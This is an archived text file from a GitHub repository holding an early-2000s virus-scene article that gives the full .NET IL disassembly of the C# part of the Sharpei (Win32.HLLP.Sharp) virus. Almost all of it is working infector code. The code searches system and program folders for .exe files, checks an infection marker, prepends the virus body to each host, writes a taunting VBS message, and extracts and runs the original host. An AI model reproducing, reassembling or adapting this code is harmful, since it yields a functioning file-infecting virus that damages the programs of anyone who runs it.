This repository was archived by the owner on Apr 2, 2026. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathillawesome1.txt
More file actions
403 lines (375 loc) · 17.9 KB
/
Copy pathillawesome1.txt
File metadata and controls
403 lines (375 loc) · 17.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Disassembling Sharpei, the 1st C# malware...\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
I can't wait to see the source code of the 1st C# malware so i decided to download the binary
of the Sharpei virus from Gigabyte's homepage....
i analysed the structure using notepad and i found out that the malware is layered this way...
--------------------------------------------------------
Win32asm Header | VBS mass mailer | C# code
--------------------------------------------------------
so isolating the C# component is so easy...
presenting the disassembly of C# component of sharpei....
---------------------------------------------------------------------------------------------------------------------
// Microsoft (R) .NET Framework IL Disassembler. Version 1.0.2914.16
// Copyright (C) Microsoft Corp. 1998-2001. All rights reserved.
// VTableFixup Directory:
// No data.
.assembly extern mscorlib
{
.publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
.ver 1:0:3300:0
}
.assembly extern System
{
.publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
.ver 1:0:3300:0
}
.assembly Sharp
{
.custom instance void [mscorlib]System.Reflection.AssemblyCopyrightAttribute::.ctor(string) = ( 01 00 00 00 00 )
.custom instance void [mscorlib]System.Reflection.AssemblyKeyFileAttribute::.ctor(string) = ( 01 00 00 00 00 )
.custom instance void [mscorlib]System.Reflection.AssemblyDelaySignAttribute::.ctor(bool) = ( 01 00 00 00 00 )
.custom instance void [mscorlib]System.Reflection.AssemblyTrademarkAttribute::.ctor(string) = ( 01 00 00 00 00 )
.custom instance void [mscorlib]System.Reflection.AssemblyKeyNameAttribute::.ctor(string) = ( 01 00 00 00 00 )
.custom instance void [mscorlib]System.Reflection.AssemblyProductAttribute::.ctor(string) = ( 01 00 00 00 00 )
.custom instance void [mscorlib]System.Reflection.AssemblyCompanyAttribute::.ctor(string) = ( 01 00 00 00 00 )
.custom instance void [mscorlib]System.Reflection.AssemblyConfigurationAttribute::.ctor(string) = ( 01 00 00 00 00 )
.custom instance void [mscorlib]System.Reflection.AssemblyDescriptionAttribute::.ctor(string) = ( 01 00 00 00 00 )
.custom instance void [mscorlib]System.Reflection.AssemblyTitleAttribute::.ctor(string) = ( 01 00 00 00 00 )
.hash algorithm 0x00008004
.ver 1:0:786:36587
}
.mresource public Sharp.Sharp.resources
{
}
.module Sharp.exe
// MVID: {832C42CB-10F1-4F43-B7C9-86EB93BDBDB7}
.imagebase 0x00400000
.subsystem 0x00000002
.file alignment 512
.corflags 0x00000001
// Image base: 0x8264d000
.namespace Sharp
{
.class public auto ansi beforefieldinit Sharp
extends [mscorlib]System.Object
{
.field private static string virname
.method private hidebysig static void
Main() cil managed
{
.entrypoint
.custom instance void [mscorlib]System.STAThreadAttribute::.ctor() = ( 01 00 00 00 )
// Code size 362 (0x16a)
.maxstack 5
.locals init (string V_0,
class [mscorlib]System.IO.FileInfo V_1,
class [mscorlib]System.IO.StreamWriter V_2,
string V_3,
string V_4,
string[] V_5,
class [mscorlib]System.IO.FileStream V_6,
class [mscorlib]System.IO.FileStream V_7,
unsigned int8[] V_8,
int64 V_9,
class [System]System.Diagnostics.Process V_10)
IL_0000: ldc.i4.7
IL_0001: call string [mscorlib]System.Environment::GetFolderPath(valuetype [mscorlib]System.Environment/SpecialFolder)
IL_0006: newobj instance void [mscorlib]System.IO.DirectoryInfo::.ctor(string)
IL_000b: callvirt instance string [mscorlib]System.IO.FileSystemInfo::get_FullName()
IL_0010: stloc.0
IL_0011: ldloc.0
IL_0012: ldstr "\\Sharp.vbs"
IL_0017: call string [mscorlib]System.String::Concat(string,
string)
IL_001c: newobj instance void [mscorlib]System.IO.FileInfo::.ctor(string)
IL_0021: stloc.1
IL_0022: ldloc.1
IL_0023: callvirt instance class [mscorlib]System.IO.StreamWriter [mscorlib]System.IO.FileInfo::CreateText()
IL_0028: stloc.2
IL_0029: ldloc.2
IL_002a: ldstr "MsgBox \"You're infected with Win32.HLLP.Sharp, wri"
+ "tten in C#, by Gigabyte/Metaphase\",64,\"Sharp\""
IL_002f: callvirt instance void [mscorlib]System.IO.TextWriter::Write(string)
IL_0034: ldloc.2
IL_0035: callvirt instance void [mscorlib]System.IO.TextWriter::Close()
IL_003a: call string [mscorlib]System.Environment::get_SystemDirectory()
IL_003f: newobj instance void [mscorlib]System.IO.DirectoryInfo::.ctor(string)
IL_0044: call instance class [mscorlib]System.IO.DirectoryInfo [mscorlib]System.IO.DirectoryInfo::get_Parent()
IL_0049: callvirt instance string [mscorlib]System.IO.FileSystemInfo::get_FullName()
IL_004e: stloc.3
IL_004f: ldc.i4.s 38
IL_0051: call string [mscorlib]System.Environment::GetFolderPath(valuetype [mscorlib]System.Environment/SpecialFolder)
IL_0056: newobj instance void [mscorlib]System.IO.DirectoryInfo::.ctor(string)
IL_005b: callvirt instance string [mscorlib]System.IO.FileSystemInfo::get_FullName()
IL_0060: stloc.s V_4
IL_0062: ldloc.s V_4
IL_0064: ldstr "*.*"
IL_0069: call string[] [mscorlib]System.IO.Directory::GetDirectories(string,
string)
IL_006e: stloc.s V_5
IL_0070: ldloc.3
IL_0071: call void Sharp.Sharp::FileSearch(string)
IL_0076: ldloc.s V_5
IL_0078: ldc.i4.s 11
IL_007a: ldelem.ref
IL_007b: call void Sharp.Sharp::FileSearch(string)
IL_0080: ldloc.s V_5
IL_0082: ldc.i4.s 12
IL_0084: ldelem.ref
IL_0085: call void Sharp.Sharp::FileSearch(string)
IL_008a: ldloc.s V_5
IL_008c: ldc.i4.s 13
IL_008e: ldelem.ref
IL_008f: call void Sharp.Sharp::FileSearch(string)
IL_0094: ldsfld string Sharp.Sharp::virname
IL_0099: ldc.i4.3
IL_009a: ldc.i4.1
IL_009b: newobj instance void [mscorlib]System.IO.FileStream::.ctor(string,
valuetype [mscorlib]System.IO.FileMode,
valuetype [mscorlib]System.IO.FileAccess)
IL_00a0: stloc.s V_6
IL_00a2: ldstr "temp.exe"
IL_00a7: ldc.i4.4
IL_00a8: newobj instance void [mscorlib]System.IO.FileStream::.ctor(string,
valuetype [mscorlib]System.IO.FileMode)
IL_00ad: stloc.s V_7
IL_00af: ldloc.s V_6
IL_00b1: callvirt instance int64 [mscorlib]System.IO.Stream::get_Length()
IL_00b6: conv.i4
IL_00b7: ldc.i4 0x3000
IL_00bc: sub
IL_00bd: conv.ovf.u4
IL_00be: newarr [mscorlib]System.Byte
IL_00c3: stloc.s V_8
IL_00c5: ldloc.s V_6
IL_00c7: ldc.i4 0x3000
IL_00cc: conv.i8
IL_00cd: ldc.i4.0
IL_00ce: callvirt instance int64 [mscorlib]System.IO.Stream::Seek(int64,
valuetype [mscorlib]System.IO.SeekOrigin)
IL_00d3: pop
IL_00d4: ldloc.s V_6
IL_00d6: ldloc.s V_8
IL_00d8: ldc.i4.0
IL_00d9: ldloc.s V_6
IL_00db: callvirt instance int64 [mscorlib]System.IO.Stream::get_Length()
IL_00e0: conv.i4
IL_00e1: ldc.i4 0x3000
IL_00e6: sub
IL_00e7: callvirt instance int32 [mscorlib]System.IO.Stream::Read(unsigned int8[],
int32,
int32)
IL_00ec: pop
IL_00ed: ldloc.s V_7
IL_00ef: ldloc.s V_8
IL_00f1: ldc.i4.0
IL_00f2: ldloc.s V_6
IL_00f4: callvirt instance int64 [mscorlib]System.IO.Stream::get_Length()
IL_00f9: conv.i4
IL_00fa: ldc.i4 0x3000
IL_00ff: sub
IL_0100: callvirt instance void [mscorlib]System.IO.Stream::Write(unsigned int8[],
int32,
int32)
IL_0105: ldloc.s V_7
IL_0107: callvirt instance int64 [mscorlib]System.IO.Stream::get_Length()
IL_010c: stloc.s V_9
IL_010e: ldloc.s V_7
IL_0110: callvirt instance void [mscorlib]System.IO.Stream::Close()
IL_0115: ldloc.s V_9
IL_0117: ldc.i4.0
IL_0118: conv.i8
IL_0119: ble.s IL_015d
IL_011b: ldsfld string Sharp.Sharp::virname
IL_0120: ldstr "MS02-010.exe"
IL_0125: callvirt instance bool [mscorlib]System.String::EndsWith(string)
IL_012a: brtrue.s IL_015d
IL_012c: newobj instance void [System]System.Diagnostics.Process::.ctor()
IL_0131: stloc.s V_10
IL_0133: ldloc.s V_10
IL_0135: callvirt instance class [System]System.Diagnostics.ProcessStartInfo [System]System.Diagnostics.Process::get_StartInfo()
IL_013a: ldstr "temp.exe"
IL_013f: callvirt instance void [System]System.Diagnostics.ProcessStartInfo::set_FileName(string)
IL_0144: ldloc.s V_10
IL_0146: callvirt instance bool [System]System.Diagnostics.Process::Start()
IL_014b: pop
IL_014c: br.s IL_015d
.try
{
IL_014e: ldstr "temp.exe"
IL_0153: call void [mscorlib]System.IO.File::Delete(string)
IL_0158: leave.s IL_015d
} // end .try
catch [mscorlib]System.Object
{
IL_015a: pop
IL_015b: leave.s IL_015d
} // end handler
IL_015d: ldstr "temp.exe"
IL_0162: call bool [mscorlib]System.IO.File::Exists(string)
IL_0167: brtrue.s IL_014e
IL_0169: ret
} // end of method Sharp::Main
.method private hidebysig static void
FileSearch(string DirectoryToCheck) cil managed
{
// Code size 225 (0xe1)
.maxstack 5
.locals init (string[] V_0,
int32 V_1,
int32 V_2,
string V_3,
class [mscorlib]System.IO.FileStream V_4,
int32 V_5,
class [mscorlib]System.IO.FileStream V_6,
class [mscorlib]System.IO.FileStream V_7,
unsigned int8[] V_8)
IL_0000: ldarg.0
IL_0001: ldstr "*.exe"
IL_0006: call string[] [mscorlib]System.IO.Directory::GetFiles(string,
string)
IL_000b: stloc.0
IL_000c: ldloc.0
IL_000d: ldlen
IL_000e: conv.i4
IL_000f: stloc.1
IL_0010: ldc.i4.0
IL_0011: stloc.2
IL_0012: br IL_00cf
IL_0017: ldloc.0
IL_0018: ldloc.2
IL_0019: ldelem.ref
IL_001a: stloc.3
IL_001b: ldloc.3
IL_001c: ldc.i4.3
IL_001d: ldc.i4.1
IL_001e: newobj instance void [mscorlib]System.IO.FileStream::.ctor(string,
valuetype [mscorlib]System.IO.FileMode,
valuetype [mscorlib]System.IO.FileAccess)
IL_0023: stloc.s V_4
IL_0025: ldloc.s V_4
IL_0027: ldc.i4.s 18
IL_0029: conv.i8
IL_002a: ldc.i4.0
IL_002b: callvirt instance int64 [mscorlib]System.IO.Stream::Seek(int64,
valuetype [mscorlib]System.IO.SeekOrigin)
IL_0030: pop
IL_0031: ldloc.s V_4
IL_0033: callvirt instance int32 [mscorlib]System.IO.Stream::ReadByte()
IL_0038: stloc.s V_5
IL_003a: ldloc.s V_4
IL_003c: callvirt instance void [mscorlib]System.IO.Stream::Close()
IL_0041: ldloc.s V_5
IL_0043: ldc.i4.s 103
IL_0045: beq IL_00cb
.try
{
IL_004a: ldloc.3
IL_004b: ldc.i4 0x80
IL_0050: call void [mscorlib]System.IO.File::SetAttributes(string,
valuetype [mscorlib]System.IO.FileAttributes)
IL_0055: ldloc.3
IL_0056: ldstr "hostcopy.exe"
IL_005b: ldc.i4.1
IL_005c: call void [mscorlib]System.IO.File::Copy(string,
string,
bool)
IL_0061: ldsfld string Sharp.Sharp::virname
IL_0066: ldloc.3
IL_0067: ldc.i4.1
IL_0068: call void [mscorlib]System.IO.File::Copy(string,
string,
bool)
IL_006d: ldstr "hostcopy.exe"
IL_0072: ldc.i4.3
IL_0073: newobj instance void [mscorlib]System.IO.FileStream::.ctor(string,
valuetype [mscorlib]System.IO.FileMode)
IL_0078: stloc.s V_6
IL_007a: ldloc.3
IL_007b: ldc.i4.6
IL_007c: newobj instance void [mscorlib]System.IO.FileStream::.ctor(string,
valuetype [mscorlib]System.IO.FileMode)
IL_0081: stloc.s V_7
IL_0083: ldloc.s V_6
IL_0085: callvirt instance int64 [mscorlib]System.IO.Stream::get_Length()
IL_008a: conv.i4
IL_008b: conv.ovf.u4
IL_008c: newarr [mscorlib]System.Byte
IL_0091: stloc.s V_8
IL_0093: ldloc.s V_6
IL_0095: ldloc.s V_8
IL_0097: ldc.i4.0
IL_0098: ldloc.s V_6
IL_009a: callvirt instance int64 [mscorlib]System.IO.Stream::get_Length()
IL_009f: conv.i4
IL_00a0: callvirt instance int32 [mscorlib]System.IO.Stream::Read(unsigned int8[],
int32,
int32)
IL_00a5: pop
IL_00a6: ldloc.s V_7
IL_00a8: ldloc.s V_8
IL_00aa: ldc.i4.0
IL_00ab: ldloc.s V_6
IL_00ad: callvirt instance int64 [mscorlib]System.IO.Stream::get_Length()
IL_00b2: conv.i4
IL_00b3: callvirt instance void [mscorlib]System.IO.Stream::Write(unsigned int8[],
int32,
int32)
IL_00b8: ldloc.s V_6
IL_00ba: callvirt instance void [mscorlib]System.IO.Stream::Close()
IL_00bf: ldloc.s V_7
IL_00c1: callvirt instance void [mscorlib]System.IO.Stream::Close()
IL_00c6: leave.s IL_00cb
} // end .try
catch [mscorlib]System.Object
{
IL_00c8: pop
IL_00c9: leave.s IL_00cb
} // end handler
IL_00cb: ldloc.2
IL_00cc: ldc.i4.1
IL_00cd: add
IL_00ce: stloc.2
IL_00cf: ldloc.2
IL_00d0: ldloc.1
IL_00d1: blt IL_0017
IL_00d6: ldstr "hostcopy.exe"
IL_00db: call void [mscorlib]System.IO.File::Delete(string)
IL_00e0: ret
} // end of method Sharp::FileSearch
.method private hidebysig specialname rtspecialname static
void .cctor() cil managed
{
// Code size 36 (0x24)
.maxstack 2
IL_0000: ldsfld class [mscorlib]Microsoft.Win32.RegistryKey [mscorlib]Microsoft.Win32.Registry::LocalMachine
IL_0005: ldstr "Software\\Sharp"
IL_000a: callvirt instance class [mscorlib]Microsoft.Win32.RegistryKey [mscorlib]Microsoft.Win32.RegistryKey::OpenSubKey(string)
IL_000f: ldstr ""
IL_0014: callvirt instance object [mscorlib]Microsoft.Win32.RegistryKey::GetValue(string)
IL_0019: castclass [mscorlib]System.String
IL_001e: stsfld string Sharp.Sharp::virname
IL_0023: ret
} // end of method Sharp::.cctor
.method public hidebysig specialname rtspecialname
instance void .ctor() cil managed
{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call instance void [mscorlib]System.Object::.ctor()
IL_0006: ret
} // end of method Sharp::.ctor
} // end of class Sharp
} // end of namespace Sharp
//*********** DISASSEMBLY COMPLETE ***********************
// WARNING: Created Win32 resource file C:\sharp.res
-------------------------------------------------------------------------------------------------
don't wait for the source code of sharpei in coderz.net #3.... let us all study ilasm and be able to understand
this listing....
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
by : IllAwesome\\\\\\\\\\\\\\\\\\
7152002\\\\\\\\\\\\\\\\\\\\\\\\\\\
"IL Asm is the pyucha..."\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\